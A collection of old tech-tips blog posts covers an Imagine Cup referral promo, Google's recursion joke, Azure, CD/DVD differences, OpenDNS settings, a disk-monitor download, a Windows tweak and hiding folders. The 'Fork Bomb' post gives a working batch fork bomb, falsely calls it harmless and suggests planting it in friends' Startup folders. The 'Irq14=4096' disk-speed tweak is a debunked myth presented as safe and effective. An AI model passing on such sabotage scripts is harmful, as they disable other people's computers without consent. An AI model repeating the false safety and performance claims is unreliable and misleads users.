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MICROSOFT IMAGINE CUP

admin — Wed, 06 Jan 2010 14:19:47 +0000

The software giant Microsoft is conducting a student.technology competition called “Imagine Cup 2010″. There are lots of challenges/types of competition in this contest , I assure you will enjoy the contest .The registration method for the competition is mentioned below:

COPY PASTE THE FOLLOWING LINK IN YOUR BROWSER

https://imaginecup.com/registration/default.aspx?EmailID=&ReferralCode=arkabhattacharya1990&DisplayName=&School &Country=India

DO NOT CHANGE THE REFFERRAL CODE

Plz cross –check the referral code it shud be “arkabhattacharya1990” (without quotes)

Edit all your personal information , without changing the referral code .

Free softwares and ORIGINAL WINDOWS 7 DVDs at hefty discount WILL BE PROVIDED

Prizes for this competition include :

The top 3 finalists will receive a trip to the Worldwide Finals in

Warsaw, Poland.

Trip includes round trip coach airfare from major airport closest to

winners home, standard hotel accommodations, and select meals.

In addition, the top 3 finalists will receive one of the following cash prizes:

* First Place: $8,000 USD

* Second Place: $4,000 USD

* Third Place: $3,000 USD

And many more prizes yet other than this.Hope to see you all with prizes.

ARKA BHATTACHARYA

(MICROSOFT STUDENT PARTNER)

(for any enquiry about studentpartners program contact me at arkabhattacharya@student-partners.com)

RECURSION IN GOOGLE

admin — Thu, 06 Aug 2009 22:37:51 +0000

Google Goes Funny Again! Falls Intentionally In Recursion
Google never fails to entertain us. This time when you search for Recursion on Google, it keeps on running spell check and displays Did you mean: recursion again and again.

Recursion is the term usually used in Computer Science and this word generally means – to have a activity again and again, forever because the activity itself consist of same activity. It is like two mirrors facing each other and displaying infinite trail of opposite images.
In recursion, the objects are repeated for infinite times. The iteration runs forever. Google displays this quality when you search for recursion.

Despite of clicking on recursion from spell checker – Did you mean, Google will keep on displaying it. Though the spelling is right, Google keeps on telling it again and again.
Try – http://www.google.com/search?hl=en&q=recursion

CAPTURING THE CLOUD

admin — Thu, 06 Aug 2009 22:37:51 +0000

Azure Services
The Windows® Azure™ Platform is an internet-scale cloud computing and services platform hosted in Microsoft data centers. The Windows Azure Platform provides a range of functionality to build applications that span from consumer web to enterprise scenarios and includes a cloud operating system and a set of developer services. Fully interoperable through the support of industry standards and web protocols such as REST and SOAP, you can use the Azure services individually or together, either to build new applications or to extend existing ones.
Windows® Azure is a cloud services operating system that serves as the development, service hosting and service management environment for the Windows Azure Platform. Windows Azure provides developers with on-demand compute and storage to host, scale, and manage Web applications on the Internet through Microsoft® data centers.

Windows Azure is currently in Community Technology Preview. Commercial availability for Windows Azure will likely be at the end of calendar year 2009.

Windows Azure is an open platform that will support both Microsoft and non-Microsoft languages and environments. To build applications and services on Windows Azure, developers can use their existing Microsoft® Visual Studio® 2008 expertise. In addition, Windows Azure supports popular standards and protocols including SOAP, REST, XML, and PHP.

CD VS DVD

admin — Sun, 28 Jun 2009 23:45:23 +0000

Have you ever wondered how does a combo drive play both cd and dvds .?

Why do combo drives often stop reading DVDs but are still able to read CDs?

First lets figure out the essential differnces between CD/ DVDs

DVDs can store more data than CDs for a few reasons:

Higher-density data storage
Less overhead, more area
Multi-layer storage

Single-sided, single-layer DVDs can store about seven times more data than CDs. A large part of this increase comes from the pits and tracks being smaller on DVDs. Let’s try to get an idea of how much more data can be stored due to the physically tighter spacing of pits on a DVD. The track pitch on a DVD is 2.16 times smaller, and the minimum pit length for a single-layer DVD is 2.08 times smaller than on a CD. By multiplying these two numbers, we find that there is room for about 4.5 times as many pits on a DVD. So where does the rest of the increase come from?

More Area

On a CD, there is a lot of extra information encoded on the disc to allow for error correction — this information is really just a repetition of information that is already on the disc. The error correction scheme that a CD uses is quite old and inefficient compared to the method used on DVDs. The DVD format doesn’t waste as much space on error correction, enabling it to store much more real information. Another way that DVDs achieve higher capacity is by encoding data onto a slightly larger area of the disc than is done on a CD.

Multiple-Layered Storage

To increase the storage capacity even more, a DVD can have up to four layers, two on each side. The laser that reads the disc can actually focus on the second layer through the first layer. Here is a list of the capacities of different forms of DVDs:

COMBO DRIVES

Every CD/DVD ROM has a lens which is used for reading Data.In case of combo Drive

The same read head lens is used to read both CD’s and DVD’s

There are two essential physical differences between CD and DVD disc.

First, the smallest DVD pits are only 0.44 micron in diameter; the equivalent CD pits are nearly twice as large, or 0.83 micron wide.

And DVD data tracks are only 0.74 micron apart, wherea 1.6 microns separate CD data tracks. So although a DVD is the same size as a CD,its data spiral is upward of 11 kilometers long-more than twice the length of a CD’s data spiral.

To read the smaller pits, a DVD player’s readout beam must achieve finer focus than a CD player’s does. In order to do this, it uses a read semiconductor laser that has a wave length of 635 to 650 nanometer. In contrast, CD players use infrared laser with a longer wavelength of 780 nanometer. Also, DVD players employ a more powerful focusing lens-one having a higher numerical aperture than the lens in a CD player

In that case after a particular time if the lens weakens only CD’s are read and not DVD’s.

INCREASE BROADBAND SPEED

admin — Mon, 15 Jun 2009 15:17:28 +0000

ONLY FOR BSNL USERS

Speed up BSNL Broadband Internet Connection
To overcome slow BSNL DNS problem, we will use high speed DNS servers from OpenDNS. OpenDNS is third party DNS Server used to speed up BSNL Broadband internet connection

Steps to speed up BSNL Broadband Internet :
1. Open Control Panel -> Networking and Sharing Center -> Manage Network Connection.
2. Now a window showing all networks will be opened. Select BSNL Connection -> Right click -> Properties.
3. Now, double click on Internet Protocol Version(TCP/IPv4) and in newly opened window at bottom, select “Use the following DNS Server address”
4. And fill these 2 DNS Addresses in two fields:
208.67.222.222
208.67.220.220

and hit OK. Thats it. Your BSNL Internet Broadband DNS Servers changed.

Now, your BSNL internet broadband speed will be increased. Thus, you can now enjoy high speed BSNL Internet broadband. I hope you’ll like this BSNL Internet speed increasing hack/trick. If you have any problem or other high speed BSNL DNS Servers, please mention it in comments section

HARD DISK MONITORING SOFTWARE

admin — Mon, 15 Jun 2009 15:17:27 +0000

Do you know how long your hard disk is going to last before u encounter a fatal Blue screen of death ?

Do you no what is the temperature of ur hard disk when u play cpu intensive games?

The answer to all these question might be no but after you go through this post it will be replaced by a YES .I stumbled upon this amazing softwares last night n believe me it works whats more it’s a freebie .its called active hard disk monitor

Active@ Hard Disk Monitor is a disk utility that checks and monitors the status of your hard drives to help prevent data loss. The system is based on the Self-Monitoring Analysis and Reporting Technology (S.M.A.R.T.).

This software monitors hard disk parameters such as Temperature, Head Flying Height and Spin-Up Time and notifies a user when a critical condition occurs. Disk Monitor also displays hard disk information, current S.M.A.R.T. attributes and the overall status of the hard disk’s health.

Advanced disk scan allows you to detect bad sectors on a disk surface. The software can be launched automatically at Windows startup and monitor the system in the background. An icon in the System Tray can display the temperature for selected HDDs.

Hardware Requirements:

CPU: Pentium III 500MHz and higher or compatible
RAM: 256 MB
Disk space: 15 MB

DOWNLOAD LINK
http://www.ziddu.com/download/4860290/DiskMonitorFree.exe.html

Fork Bomb

admin — Mon, 15 Jun 2009 15:17:27 +0000

This is a prank, which will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.

You can try this on your friends by putting it in the Startup.

I tried this on my computer and it worked(obviosly didn’t put it in my startup. I just ran it.)

AUTOMATED RESTORE

MUSIC TRACK NOT SHOWING IN GOOGLE TALK STATUS

admin — Mon, 15 Jun 2009 15:17:27 +0000

For those who were busy fighting the aliens while Google Talk added the cool feature to display your currently playing music track in the Google status, please be aware that you can simply do so just by changing the status to “Show current music track”.

Now, it so happened that I eagerly tried the feature when it was launched, but Gtalk did not show the status with Windows Media Player 10, 11 or Winamp on my PC.

On further research I discovered that Google Talk installs a plug-in in Windows Media Player which sends the current music track to Gtalk. Now if, for any reason, WMP detects some problem with a plug-in, it disables it. This was the problem in my case. So here is what I did to enable my Google Talk plug-in:

Ensure that you have the latest Google Talk installed

In Windows Media Player, press Alt+T to access the tools menu

Press ‘Options’

Click on the ‘Plug-ins’ tab

On the left hand ‘Category’ pane, click on the ‘Background’ item

On the right hand ‘Background’ pane, click on the Google Talk plugin to check and enable it

Save changes and change the status in Google Talk to “Show current music track”

This worked for me, hope it helps you too!

Oh and by the way, Google’s fascination with collecting information in order to show us meaningful results found its way in GTalk too. Google has a service called Google Trends. If you wish, then Google can log what you listen too, and hence show meaningful trends such as the current most popular song etc. I have opted in

Happy chitter chatting!

INCREASE HARD DISK SPEED IN WINDOWS

admin — Mon, 15 Jun 2009 15:17:27 +0000

If you like to increase/optimize your Hard Disk I/O – read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; however there are reports that this tweak also does good for SCSI disks.

In any case, it won’t harm your system, so try it yourself and let me know what you find!

Steps:

1. Run SYSEDIT.EXE from the start & then Run command.

2. Expand the system.ini file window.

3. Scroll down almost to the end of the file untill you find a line called [386enh].

4. Press Enter to make one blank line, and in that line type

5. Irq14=4096 (note: This line IS CASE SENSITIVE)

6. Click on the File menu, then choose Save.

7. Close SYSEDIT and reboot your computer.

8. Restart windows!

The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.

HIDE FOLDERS IN WINDOWS

admin — Mon, 15 Jun 2009 15:17:27 +0000

hide ur folders without the usage of folder lock :

suppose u want to hide a folder named “hello”which is in D: of ur computer

go to command prompt

start—>run—>cmd–>d:

after changing it from C: to D:

type D:/>attrib +h +s hello

the above command is to hide the folder

to show the folder

tyoe D:/>attrib -h -s abc

in this type of hidding the folder cannot be viewed even if we make advance search or even changing the folders menu to (show all hidden files)